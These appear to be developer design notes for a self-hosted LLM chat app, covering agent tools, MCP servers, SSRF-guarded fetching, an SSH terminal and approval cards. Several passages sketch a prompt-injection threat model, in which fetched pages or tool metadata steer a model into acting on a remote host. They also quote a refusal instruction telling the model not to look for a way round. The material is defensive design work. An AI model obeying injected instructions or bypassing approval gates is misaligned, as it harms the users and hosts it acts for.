Two consequences worth knowing. estimated is now a recorded fact (Generation.reported_usage) rather than an inference from "are both counts non-zero?", which the end-of-reply fallback made true of a reply nobody had counted — so the ~ showed all the way through and vanished at the moment the numbers were written down. And that fallback is gone: from_generation is the single place the three figures are worked out, live and at rest, because two copies of one rule is how the prompt figure came to jump at the done frame (one used prompt_estimate, the other prompt_estimate_total).

_follow also sends metrics on a clock (METRICS_INTERVAL) as well as on a version bump. There is no touch() inside _run_calls, so during a five-minute build on the far side nothing moved on screen while the elapsed clock advanced — and frozen chips beside a spinner read as a hang.

Neither chip was ever wrong, which is why this looked like arithmetic and was not: the first is what the reply cost (prompt + completion summed over rounds, the prompt paid for once per round) and the second is what the conversation now occupies (the last round's prompt plus its completion). On a multi-round reply those differ by a lot, and chat/_metrics.html says which is which in the titles now, because two token counts a few centimetres apart with no labels just look like one of them is broken.

A model that stops is believed, unless something objective says otherwise — and there are two such things. core.keep_working is the cheap half of stopping-halfway; generation._nudge is the other half, and it never fires on a hunch. The signals, in order:

1. An open task on the chat's own plan. The strongest there is: the model wrote the list and has not crossed the item off.
2. A long reply that touched nothing. No plan, no tool call anywhere in the reply, and more than NUDGE_MIN_CHARS of prose. That is a model deliberating itself to a standstill — announcing the call, reconsidering, announcing it again — and the reply simply ended, because a round with no tool calls is a model saying it has finished and it is taken at its word. core.commit is the prompt half.

The second is narrow on purpose. tool_events being empty is what keeps it away from the common case: a reply that did some work and then said it was done has made a claim anybody can check by reading the transcript, and arguing with that is how a model gets nagged for finishing. NUDGE_MIN_CHARS keeps it away from the other one — a question asked in an agent chat and answered in two lines is not a stalled agent.

It is asked at most MAX_NUDGES times in a row for a plan (the count resets the moment a tool is called again) and once for the second signal, because the text is cumulative across rounds — the signal stays true however the model answers — and the nudge explicitly invites a one-line "I have finished". Asking again would be refusing the answer we asked for. Never in Plan mode, and never past plan_submit — that ends the turn deliberately and nudging it would argue with the point of the mode. Giving up is recorded as an event rather than left silent. The model's own words go back with the nudge, or it is asked to carry on from a transcript in which it never spoke.

A round's text is flushed before it is echoed back. ReasoningSplitter holds back a few characters against a <think> tag split across chunks, so round_text at the end of a round was missing its last words — and that text is echoed as an assistant turn, both for a tool round and for a nudge. A turn missing its tail is one the model is asked to continue from having apparently trailed off mid-sentence.

A chat can narrow what it may use, and can never widen it. Chat.scope_json is filtered inside resolve_tools after the capability, permission and instance gates — exactly as chat.knowledge_bases narrows knowledge_search — so a crafted POST turning something on reaches a tool the gates already removed. Absent means on, for every key, so "why is this off?" has one answer. It is keyed on the gate, not the tool name, so notes is one switch rather than five, and a row-backed tool's custom:weather gets per-row control for free. Skills are narrowed both in the listing and in _run_skill_get: without the second the narrowing is advisory, since a model can name a skill it was never shown.

With no skills, nothing should mention them. tool.skills was gated on the family alone, so somebody with an empty library was told "the list below gives each one's name" above no list, handed skill_get, and watched the model spend a round finding out. It now requires=("skills",); the writing half moved to tool.skills_write, which is deliberately not gated, because saving the first one is what somebody with none most needs. resolve_tools drops skill_get and skill_edit at zero. And core.tool_list finally reads tool_names, which had been resolved and documented with no fragment using it — a model that has to discover its own tool list by calling something and being told it does not exist spends a round, and with one round that is the whole reply.

The registry is resolved per request, not imported. REGISTRY holds the built-ins; a custom tool or an MCP tool is a row. tools.resolve_tools() returns a ToolSet carrying the schemas and the runners, and the runners travel to the loop on ToolContext.tools — because a generation outlives the session that could look them up. run_tool consults that map, so what may be run is what was offered. None means nobody resolved a set and falls back to the built-ins; an empty dict is authoritative. Reaching for the global registry instead is how a model naming a tool its chat was gated out of used to get it run anyway.

A row-backed tool's family is gate:slug. custom:weather, mcp:github. The capability flag and the permission are named after the gate (tool_custom / tools.custom), so a server advertising forty tools does not mean forty checkboxes on every model; the full family exists so each row can carry its own prompt fragment, gated to appear exactly when its tool is offered. harness._families and admin_prompts therefore take a db. Custom and MCP deliberately do not require library.use: an endpoint an administrator wrote has nothing to do with anyone's own notes.

An argument may fill a hole; it may never move the target. A custom tool's URL is a template. The scheme and host must be literal — checked at save and again at call time, since a row can predate a check — values are escaped for where they land (quote(safe="") in a URL, JSON-escaped in a body, control characters stripped in a header), and the filled URL's origin is compared with the template's afterwards. An undeclared {{name}} becomes nothing rather than passing through, which is the opposite of prompts.substitute and deliberately so: a literal {{x}} in a URL is not a feature.

Three places now follow redirects by hand. fetch.fetch, custom_tools._send and mcp.client.Session._post, each re-running check_url on every hop. fetch() itself is not reusable — GET-only and bodyless. The duplication is deliberate; bending a page fetcher into a general HTTP client is not, and a fourth hand-rolled loop is how one of them loses its SSRF check. A secret is dropped when a hop leaves the origin it was issued for.

The content-type sniff was widened by exactly one list. It used to raise on anything that was not HTML or text/*, which is every JSON API there is — already wrong for the @-link attach path, and unusable once a model can ask for a URL itself. _TEXTUAL plus the +json / +xml suffixes now come back as text; images, PDFs and octet-stream still raise, because handing a model five megabytes of binary is what the refusal was for. That is a sniff being fixed, not a page fetcher becoming an HTTP client.

fetch is a tool, with its own family and its own switch. Separate from web search, because an administrator may reasonably want a model that can look things up but not follow an arbitrary URL it read somewhere — and the whole SSRF surface is on this side. The instance switch is separate again from allow_private_fetch and earns its keep: turning it off stops a model fetching while the composer's Link option keeps working, because that one is a person's instruction rather than a model's choice. MAX_FETCH_CHARS caps what reaches the model at 20k, since fetch() returns up to 120k — one call would otherwise fill an ordinary window and spend an agent chat's whole output budget on a single page.

MCP sessions are per call. Initialize, notifications/initialized, the call, then a best-effort DELETE. Caching one would need an owner, a TTL, eviction, a lock (a round runs its tools concurrently) and a shutdown hook, and the server can expire it underneath all of that anyway — ToolContext is a session-free snapshot precisely so nothing in a tool holds live state. The cost is one POST in front of a call that is already a network round trip. 307/308 are followed; 301/302/303 turn a POST into a GET and are refused rather than guessed at.

A discovered MCP tool is JSON, not a row. McpServer.tools_json caches tools/list. Model is a table because each row carries eight independent admin decisions; a discovered tool carries one (offered or not, in tool_overrides_json, where absent means on), credentials and guidance are per server, and the list is replaced wholesale on every refresh — a table would mean reconciling rows against a cache of somebody else's document.

An MCP tool has two names. The server's own, which tools/call needs, and the offered one in the schema — slug_tool, lowercased into [a-z0-9_-]{1,64} because endpoints accept less than MCP does. Built-ins claim their names first and can never be shadowed; a custom tool whose slug collides is refused at save, an MCP tool is renamed silently, since the one that can adapt should be the one that has to. The rename never leaves mcp/registry.py.

A server's tool metadata is untrusted input that becomes instructions. Names, descriptions and schemas from tools/list are bounded and sanitised in mcp/protocol.clean_tool before anything reaches a model. What a tool returns is untrusted too, and is rendered as escaped preformatted text — never through services/markdown.py, which is the one path allowed to emit HTML.

A round's tool calls run together. generation._run_calls gathers them under a semaphore of four and keeps the results indexed, not appended as they finish: each tool turn must line up with the assistant turn's tool_calls or an endpoint matching on tool_call_id pairs the right id with the wrong content. Safe because run_tool never raises and every runner opens its own session. generation.status names what is running, because a remote tool taking seconds with nothing streaming is exactly what a hang looks like.

Tool-call arguments arrive in fragments. delta.tool_calls carries an index, a name that appears once, and an arguments string split across chunks. tools.ToolCallAccumulator rejoins them keyed on index — not on name, which breaks the moment a model calls one tool twice in a turn.

Four stores, four different reasons. services/library/ — documents (uploaded by a person, searched by the model), notes (written by the model, searched), memories (short, and injected whole every turn), skills (index injected, body fetched by tool). The shape of each follows from how it reaches the model: a memory is capped short because it costs tokens on every request forever, a note is not injected because a dozen would fill the window.

Documents live in knowledge bases, and the base is what is shared. A Document always belongs to a KnowledgeBase; visibility comes from the base, never the document, which is why Document is absent from sharing.RESOURCE_TYPES and documents.visible() filters on base_id IN (visible bases). Per-document grants would mean answering "who can see this?" by checking every file. Document.base_id is nullable only because the column had to be added to a table that already had rows; documents.sweep_unfiled() runs at startup and files anything predating bases into its owner's default.

A chat attached to bases is scoped to them. Chat.knowledge_bases is many-to-many; empty means "everything the owner can see", not "nothing". tools.context_for(db, user, chat) carries the ids and knowledge_search filters on them — and the harness names the bases, because otherwise the model cannot tell "there is nothing about this" from "I am only allowed to see the contracts folder".

Sharing goes through one helper, and admins do not bypass it. services/sharing.py:visible_to() is the only definition of who can see a library item, and every listing and tool uses it. permissions.resolve gives an admin everything, deliberately — but that is about configuration, which an admin can grant themselves anyway. Reading someone's private notes is not the same act, so sharing has no admin branch. Sharing grants reading only.

FTS5 tables are outside the model-driven schema sync. They are not SQLAlchemy models, so sync_schema() cannot diff them; db/migrations.py: ensure_fts() writes them out with IF NOT EXISTS and creates the triggers that keep an external-content index correct. It runs at every startup and converges, like the column sync beside it. tests/conftest.py calls sync_schema rather than create_all so tests run against the same schema.

A failed search rolls back. One broken FTS statement otherwise leaves the session unusable and every later query in the request fails too, which looks nothing like a search problem.

Knowledge attachments are copies. Attaching a library document to a message duplicates its text and its file (files.copy_document). Referencing it would mean a conversation changing when a document is edited or deleted later — the same reason PDF text is extracted once at upload.

The link fetcher is an SSRF hole unless guarded. services/fetch.py refuses loopback, private and link-local addresses after resolution — a hostname pointing at 127.0.0.1 walks past any check that only reads the URL — and follows redirects by hand so every hop is checked. An admin can open it deliberately. The URL can come from a model, which can be talked into things by a page it just read.

The harness is an exception to the prompt-precedence rule, on purpose. "System prompts are precedence, not concatenation" governs the three authored layers, and it stands: exactly one still wins, and effective_system_prompt still decides which. services/harness.py is a different axis — it describes the machinery rather than the behaviour, nobody authored it, and there is nothing for it to disagree with. It is prepended to whichever authored prompt won, in one system message (several endpoints reject a second one), and build_request is where the two meet.

The harness holds no text. Every piece of it is a Fragment in services/prompts.py, edited on /admin/prompts. harness.py decides which fragments apply and what their variables resolve to; prompts.py owns the wording, the storage and the substitution, and knows nothing about chats or tools. Four rules hold the whole thing up:

• Defaults live in code, overrides live in the database, and text equal to its default is never stored. That is what lets a later release improve a default and have it reach an instance whose administrator once pressed Save.
• An empty override means off, which is why there is no separate enable flag: clearing the box in the admin page is the switch. A fragment that was not submitted at all keeps whatever it had — it may be missing from the page because the thing contributing it is switched off.
• A fragment carries its gate as data (families, requires, when_tools), never as a callable, because a database row can carry the same three fields. requires is why there is no longer a hand-written pair of memory-guidance variants: the sentence that refers to a section lives inside that section, so it cannot outlive it.
• {{name}}, and anything unrecognised passes through verbatim. Names are lowercase letters, digits and underscores, so {"total": 1} and ${PATH} are never candidates. Substitution is one pass and never recursive — {{memories}} carries text a model wrote, and a memory reading {{skills}} must not expand.

A model with no tools now gets the core fragments too, the date above all. "An empty harness is worse than none" was about tokens that say nothing, and a model with no clock being asked about the present is not that. Clearing those fragments restores the old silence exactly.

Tool descriptions are not fragments. They are schema, sent verbatim in the tools array, and they state facts about what a runner does — an administrator editing notes_edit's "omit a field to leave it alone" would make the text a lie with nothing to catch it. The page lists them read-only so nothing injected is hidden. A custom tool's description will be editable, because it is a row.

A model's tool flags default to on when tools is on. Rows configured before the per-tool split have no tool_* keys. Reading absent as off would silently take web search away from every model already set up for it, so tools.enabled_tools treats absent as inherited.

Tool results are not replayed. Like reasoning, Message.tool_calls_json is stored and rendered but never fed back as context. The answer already contains what the model made of the results; replaying stale results and the schema into every later request wastes the window and reliably sends a small model into a search loop. The sources stay visible in the transcript.

Search results are untrusted. Hard rule 6 covers them as much as model output. chat/_tool_activity.html escapes everything and only renders http and https URLs as links — a result carrying a javascript: URL must never become an anchor.

A message bubble is rendered from four places. pages.py, chats.post_message, chats.regenerate and chats._follow. Each needs audio_service.template_flags(db, user) or the speaker button's conditions are undefined; the template uses | default(false) so a missed one degrades to no button rather than an exception. _follow also passes just_finished, which is what read-aloud-automatically keys off — without it, reopening a chat would start reading its last reply out loud. tool_label and tool_icon are Jinja globals for exactly this reason — a fifth thing every one of the four would have to remember is a fifth thing one of them will forget.

What a tool is called lives in one table, and the static one wins. services/tool_labels.py is read by the transcript, the status line while a round runs, and the approval card; those three disagreed for the whole life of the feature — one said "homeserver", one said "shell_run", one said "Run a command" — and nothing checked. The precedence is inverted on purpose: tool events are persisted in Message.tool_calls_json, so every agent row already on disk carries label set to the SSH profile's name, and a resolver preferring the stored value would fix nothing for any transcript that already exists. So a name the table knows resolves from the table; a name it does not — a custom HTTP tool, an MCP tool, whose labels are per row and cannot be tabulated — keeps its own. One rule, both cases correct. The machine now travels in detail, where "where this ran" belongs.

Dictation audio never touches disk. api/audio.py reads it into memory, capped, and streams it upstream. It is not an attachment: it has no owner, no row, and nothing would ever sweep it.

The service worker must skip /api/. A reply is an endless event stream and passing one through a worker turns it into one delivery at the end, or nothing. static/js/sw.js bails out on /api/, /auth/, /admin/ and any request accepting text/event-stream. It is served from GET /sw.js rather than the static mount because a worker's scope is the path it came from.

XSS is now a root shell, not a leaked chat. api/terminal.py is the one WebSocket here, it is same-origin, the cookie rides along automatically, and what it opens is an interactive shell. Every other route a script could reach gives up a conversation; this one gives up the machine. Nothing about hard rule 6 changes — it was already absolute — but the price of getting it wrong did, and so did the price of a stray |safe. The two locks are: the session cookie is SameSite Lax, so a foreign page's handshake carries no cookie, and the endpoint additionally requires an Origin header matching Host rather than checking one when it happens to be present.

A WebSocket dependency must be typed HTTPConnection. api/deps.py: get_current_user used to take a Request; FastAPI injects a WebSocket on a websocket route, so the annotation fails at connect time rather than at import. That is a failure which passes every test that does not open a socket and breaks in a browser. HTTPConnection is the shared base and carries both the cookies and .state.

Terminal sessions are keyed on the chat, and outlive the socket. A reload is indistinguishable from a second tab, so anything finer needs an id in the browser's storage — and then an abandoned tab leaks a PTY nothing in the UI can find. One chat, one shell; two tabs share it and the smaller window decides the size. Closing the panel calls detach, never close: a build running behind a shut panel is the case the whole lifetime exists for. What ends one is the idle timeout (nobody attached and nothing typed), deleting the chat, disabling, moving or deleting the connection, forgetting its host key, or a restart.

Unlike generations, nothing here ends by itself. generation.ensure can prune inside itself because a reply finishes and something calls in again. A shell sits at a prompt forever, so agent/terminal.py runs a reaper task instead. Copying the generation shape would mean nothing was ever swept.

A slow viewer is dropped, not buffered. Each viewer has a bounded queue; one that fills is disconnected and reconnects with the scrollback, which costs it nothing because the scrollback is the state. Blocking the pump instead would stall every other viewer and buffer without bound — and yes is one word to type. The reflex fix is an unbounded queue; it is the wrong one.

Terminal traffic is bytes in both directions, and nothing decodes it. A read on the far side lands mid-character often enough to matter. xterm's decoder is stateful across write() calls, so passing raw bytes through is correct by construction, while decoding each frame server-side would corrupt every boundary. Only resize, ready, closed and error are text, and they are JSON.

The modes do not govern the keyboard, and now there are five exceptions, not one. agent/policy.py exists because a model reads pages, files and command output it did not write and can be talked into things. A person typing into the terminal panel holds the credential already and could open the same shell with an ssh client, so nothing they type is checked against the mode or the two lists. The directory browser (GET /api/agents/{id}/browse) and the project listing (agent/index.py) are the same argument again: both are read-only, both are LLeMbas acting on somebody's instruction rather than a model choosing to, and both would be pointless if they asked. But it does mean Manual mode's "everything is shown to you before it happens" is now true of the model and not of the interface, and that is worth saying out loud rather than discovering. There is a test named after the first one, because it reads like a bug next to policy.py and "fixing" it would make the panel useless in the mode people spend the most time in.

The fourth is Canvas saving a project file, and it is the first of the four that writes. Same argument — whoever owns the credential could write the file with scp — but the consequence is larger and should not be inferred from the other three: in Plan mode, "look but do not touch" is a promise about the model and not about the panel. The gate is canvas.agent_ready, everything _terminal_enabled checks except agent.terminal, and re-derived on every request rather than trusted from the template flag of the same name.

The fifth is the background jobs panel (GET /api/chats/{id}/jobs, its /panel, and POST .../jobs/{job_id}/stop). Same argument once more: whoever owns the credential could read the log with cat and stop the job with kill, and a panel that asked permission to show what is already running would be a panel nobody could use. job_stop as a model tool keeps its RISK_EXECUTE and its approval card — nothing a model may do has changed. The route re-checks that the job belongs to this chat, because the remote paths are namespaced by chat id but the route takes the id from a URL.

Editing a command on an approval card is not a sixth exception, and the reason matters. The deny list resolves to ASK, not to a refusal — it means "always ask about this" — so a person who has typed the command themselves and pressed Allow is the asking it was demanding, and re-checking would put the same card up with no way past it. The instance's list still governs the model, because decide reads it before the allow list, so a pattern "always allow" remembered from an edit cannot widen past it.

"Don't" can carry a reason, and the reason changes what the model is told, not just what it reads. A bare refusal says only that it was refused, so the model does the one sensible thing left and asks what you would rather — a whole round spent on something you knew when you pressed the button. Reply.reason is how that round is skipped, and _not_allowed branches on it: with nothing to go on, "say what you were going to do and ask what they would prefer"; with a reason, that instruction is wrong, because the answer is already on the screen above, so the model is pointed at it and told to carry on from it. The "do not look for a way round" half is kept either way — that half is about the refusal, which holds regardless.

It is a card-level field, not text.<key>. One card covers everything in the round for the reason this whole primitive does, so one reason answers the round — and on an approval card text.<key> already means a corrected command, which is a different thing arriving in the same shape. It is read only on a refusal, so a reason typed and then abandoned by pressing Allow cannot travel with a permission. Bounded at MAX_REASON_CHARS where the Reply is built, so nothing downstream has to think about length, and it goes on the tool event as well as into the result — a transcript that says a step was refused without saying why is one you have to have been watching to understand. It is the one thing in a tool result that is genuinely not untrusted: it is the reader's own words, so it is stated as theirs and needs no fence.

Image generation is a ComfyUI workflow with holes in it, and the holes are the administrator's statement. services/images/ is three modules: comfy.py speaks HTTP, workflow.py fills a template, tool.py ties them to a chat. Which node holds the prompt is declared with {{prompt}} rather than sniffed by node type — looking for the first CLIPTextEncode works on the shipped workflow and on nothing else, and swaps positive for negative the first time somebody reorders them.

Substitution walks the parsed JSON, not the text of it. A value that is exactly "{{steps}}" becomes the number 20; ComfyUI validates types and refuses the string. A placeholder inside a longer string is still text, which is what makes "{{prompt}}, masterpiece" work. Doing it textually would also mean a prompt containing a quotation mark produced a document that no longer parses, on the one input guaranteed to hold arbitrary text. seed has no fixed default — one would make every unspecified generation identical and make the retry loop redraw the same rejected picture four times.

One call is one finished image, and the retrying is inside the tool. Returning every attempt to the conversation would cost a round each, make the ceiling advisory rather than enforced, and walk the reader past every reject. So the reviewer — the admin's chosen vision model, else the chat's own if it has vision, else nobody — is asked about bytes rather than about a row: an attempt about to be discarded should not leave an Attachment behind, so it sees a downscaled preview built in memory and only the kept image is written. Anything that goes wrong in review is a keep; losing a picture because a judging request timed out would be the check destroying the thing it was checking. The last attempt is kept whatever the verdict, so a request always produces something. Rejected images are not stored — their verdicts are, in event.text.

task.image_review is a GROUP_TASKS fragment, so it is editable and excluded from the harness, exactly like task.title and task.compact — and clearing it switches reviewing off, the same way clearing task.compact switches compaction off. It is biased hard towards KEEP on purpose: a reviewer that retries on taste spends the GPU four times and usually ends up back at the first image.

Preserve VRAM unloads the chat's own connection and nothing else. Connection.unload_url is a column because the memory being freed belongs to one machine: a local llama-swap answers GET /unload, and a box on the network has no reason to be unloaded when ComfyUI wants memory here. Empty means "cannot be unloaded", which is the honest default — there is no call that works everywhere. The swap goes round the review, not round the tool: unload, generate, free ComfyUI, ask the reviewer (which loads the LLM again), round again if it said no. Two model loads per retry, which is why the two settings are independent and the page says so when both are on. Nothing loads the LLM back at the end — the reply's next request does, and llama-swap loads on demand; that step exists in the description and not in the code, which is why the code says so.

A generated image rides on the assistant message, so message_payload sends images only on user turns. No assistant message had ever carried one before, so the distinction had never been drawn — and the moment one does, the multimodal list form on an assistant turn is rejected by OpenAI and most local runners, breaking not that turn but every later one in the chat. What follows and is worth knowing: on a later turn the model cannot see the picture it made (tool results are not replayed either), so "make it bluer" regenerates rather than edits. Honest for a text-to-image workflow with no img2img path.

The runner writes the file; only the loop says which turn owns it. event["attachment_id"] is carried by generation._run exactly as event["canvas"] and event["plan"] are, because _persist is the single writer. _bind_attachments narrows on this chat and on rows still unbound, for the reason files.claim does: the ids arrive on a dict a runner built.

files.store(keep_original=True) skips the resize and the transcode, and nothing else. _process_image turns anything without alpha into JPEG q85 at 1400px, which is right for a phone photo and a visible loss on generated art. Pillow still opens it, so a malformed file is still refused and the dimensions are still measured rather than claimed.

/image forces one tool for one round. It sends the ordinary message with force_tool, which becomes tool_choice — reusing the whole loop rather than inventing a second generation path. FORCEABLE_TOOLS is an allow list because this is read off a form, and resolve_tools still decides whether the tool exists, so forcing one that was never offered does nothing. payload.pop( "tool_choice") after the first round is load-bearing: left in place the reply would draw a picture, be asked again, and draw another.

ToolContext gained chat_id, and that fixed a tool nobody had ever run. _run_scratch_write read context.chat_id on a dataclass that had no such field, so every scratch_write call raised AttributeError — swallowed by run_tool's blanket except into "the scratch_write tool failed", which reads exactly like a model calling it wrongly. The test that existed asserted the family and the risk, which are properties of the declaration rather than of the code. There is one that runs it now.

A control wired to a method its route does not serve fails silently. The agent-mode select posted with hx-post against a route that only answers PATCH, so every change returned 405 and the mode never moved — for the whole life of the feature. htmx surfaces nothing on a failed request, so the select stayed where it was put and the server ignored it, which looks exactly like working. tests/test_agent_mode.py asserts the method is refused as well as that the right one works, because only the second half would have passed throughout. When adding a control that writes, check the verb against the route, and assert on the row rather than on the response.

Shell integration is best-effort, and the fallback is the point. agent/shell_marks.py gives bash and zsh hooks that emit OSC 133 around the prompt, the command and its result, so the panel can say what "the last command and its output" means. Three things about it:

• It is written by the PTY command string itself, with printf. sshd runs that string through $SHELL -c, so it can case on the shell's own name and needs no probe, no second channel and no writable $HOME. Environment variables do not work — every distribution ships AcceptEnv LANG LC_*, so anything else is dropped silently — and feeding source … in as keystrokes races a slow .zshrc, echoes, and lands in shell history.
• Nothing needs hiding. The setup runs before the shell exists and never writes to the PTY's input side, so there is nothing to echo and no fan-out gate. That is why this mechanism was chosen over the one that looks obvious.
• The exit status is captured in the DEBUG trap, not in PROMPT_COMMAND. DEBUG fires before every simple command including each one inside PROMPT_COMMAND, so $? read from there is whatever ran a moment ago. This was wrong in the first version and every command reported success. zsh has the mirror-image trap: $ZDOTDIR is already ours by the time .zshenv runs, so the user's own must be passed on the exec line or the shims source themselves and none of somebody's configuration loads.

Any shell that is not bash or zsh gets exactly the command that ran before, and therefore no markers — at which point Copy and Send fall back to scraping the screen and say so, and the automatic toggle is disabled rather than degraded. Forty arbitrary lines attached to every message is worse than nothing attached.

The automatic toggle has three states, and a select to say which. Off, copy, send. It was a boolean doing the wrong one of them: it appended into the composer, on top of whatever was being typed there. send posts straight to /api/chats/{id}/messages and never touches the composer — which is what makes the queue load-bearing, since commands finish while a reply is running. Not persisted between page loads, deliberately: a switch that forwards everything you type in a shell to a model is not something to inherit from last week's session. A cycling icon button was the obvious shape and cannot say which of three states it is in.

The nginx vhost must pass upgrades through. deploy/nginx-vhost.conf used to set Connection "", which is right for SSE and fails every WebSocket handshake — and a failed handshake tells the browser nothing: no status, no reason. It now uses map $http_upgrade, which yields the empty string when nothing asked to upgrade, so one location serves both. update.sh has a drift check for exactly this.

data-toggle syncs every toggle, not the one that was clicked. A panel can be opened by the topbar button and closed by its own Close, and now also closed by nothing at all: data-toggle-group="side" makes the terminal and the inspector mutually exclusive, because at 1280px both plus the sidebar leave the conversation about seventy pixels wide. app.js:setPanel applies the state and then brings every [data-toggle] pointing at that panel in line, and fires lembas:toggle — which is how terminal.js learns it is visible and may measure itself. xterm's fit() reads offsetWidth, which is 0 inside a [hidden] ancestor, so fitting early is a silent no-op that leaves an 80-column terminal in a 34rem panel.

xterm holds colours as values, so the theme has to be pushed at it. applyTheme dispatches lembas:theme; without it, switching to shire leaves a black rectangle in a light interface. Same reason a ResizeObserver is on the panel: a window resize never fires when the sidebar is toggled beside it.

Changing the schema

There is no Alembic, but there is db/migrations.py. It compares the declared models against the live database and issues ALTER TABLE ... ADD COLUMN for anything missing, so adding a column to a model is free: restart and it appears, with existing rows backfilled from a type-derived default.

A nullable column is added with no default, so existing rows get NULL -- the value the model treats as absent. Only a NOT NULL column gets one, because SQLite refuses to add one without. An earlier version defaulted every column by type, which meant an added foreign key arrived as "" on old rows and every "is this set?" check downstream was wrong about them.

It cannot rename, drop or retype a column, or add a UNIQUE/PRIMARY KEY to an existing table — SQLite mostly cannot do those with ALTER TABLE either. Those need the create-copy-swap dance by hand; record them in MANUAL_STEPS so a failure has somewhere to point.

Because the runner exists, forward-looking columns are cheap now. Message.parent_id and content_parts_json (branching, multimodal) predate it and are still unread.

Artwork

Do not hand-edit files in assets/ — they are generated. Change scripts/build_artwork.py and re-run it. It also copies the few files the app serves into web/static/img/.

The leaf geometry is defined once (LEAF_BLADE, LEAF_MIDRIB, …) and reused by the icon, favicon, lockup and banner. The 64×64 mark must stay legible at 16px: the favicon variant drops the score lines, rim and veins because they turn to mud at that size. The icon sprite is a template partial (templates/partials/icons.html), not an asset, because same-document <use href="#id"> is universally supported and the cross-document form is not.

The mark() macro in _macros.html duplicates the mark geometry so it can be inlined and themed. If the mark changes, update both.

Deployment

deploy/ holds a systemd unit template, an nginx vhost template, and install/update scripts. Both templates are parameterised (__PREFIX__, __SITE_HOST__, …) and substituted at install time, so nothing host-specific is committed here. See deploy/README.md.

This repository is public. Keep deployment-specific hostnames, ports and internal infrastructure detail out of it — those belong in whatever private notes describe the machine.

Not built yet

Nothing large. The tool loop in services/generation.py is what a new capability plugs into — a tool is a ToolDef reaching tools.resolve_tools() plus a permission and a capability flag, not a new code path. Its guidance is the same shape: a prompts.register_source yielding one Fragment per row puts it in the harness, on the admin page and in the preview without touching the assembler, the save handler or a template. Custom HTTP tools, MCP servers, agent chats and image generation are the four worked examples.

Nothing executes on this machine, and that is the design. Agent chats run their commands on a host reached over SSH. A local sandbox was designed in detail — bubblewrap, a masked data directory, a curated bind list — and dropped, because every hard problem in it came from running on the machine that holds the database and the encryption key: the service user cannot traverse /home, granting it needs ACLs, RLIMIT_NPROC is counted per uid so a fork bomb starves the server too, --size applies only to tmpfs so there is no disk quota, and a bind list is a standing invitation to widen until the sandbox is decoration. Over SSH, isolation is somebody's considered choice of host, using tools far better at it than anything that could be built here — and it is the only version that is honestly multi-user.

Two consequences worth stating plainly. The security of an agent chat is the security of the host behind its profile, and nothing here can tell a throwaway container from a production server. And there is no equivalent of the network: False switch the local sandbox would have had, because the network belongs to the far side — so an instruction injected through something the model read can, in principle, be carried out from there.

Local MCP is absent for the same reason. Only remote servers over streamable HTTP. Spawning npx would be a subprocess on this machine, which is the thing that is deliberately not done.

Unknown is not zero. Model.context_length of 0 means nobody has said how big the window is, which is different from "small". The context percentage is omitted rather than computed, and automatic compaction never fires. Token counts fall back to services/tokens.py -- four characters to a token -- and anything derived from an estimate is shown with a ~. Compaction does act on an estimate, because a premature compaction costs one turn of answer quality rather than data: the messages are kept.

Compaction hides turns, it does not delete them. Chat.compact_summary plus compacted_through_id say how far it reached; the messages stay in the transcript behind a <details> divider and simply stop being part of the request. The summary is carried by a user turn and an assistant turn, not one: a leading assistant breaks templates that require the first non-system message to be user, and a lone leading user produces user, user whenever the kept history starts on a user turn -- which it always does, because the cutoff lands on a finished reply. compacted_through_id is a plain id, not a foreign key, because migrations.py compiles only the column type and a REFERENCES clause would exist on a fresh database and not on an upgraded one; compaction.cutoff_message validates it on every read instead.

Compare message timestamps through compaction.moment(). SQLite does not store the offset, so a row loaded from disk is naive while one still in the session's identity map keeps its tzinfo. Comparing the two raises.

No OCR: a scanned PDF is stored with an explanatory extraction_error rather than silently contributing nothing.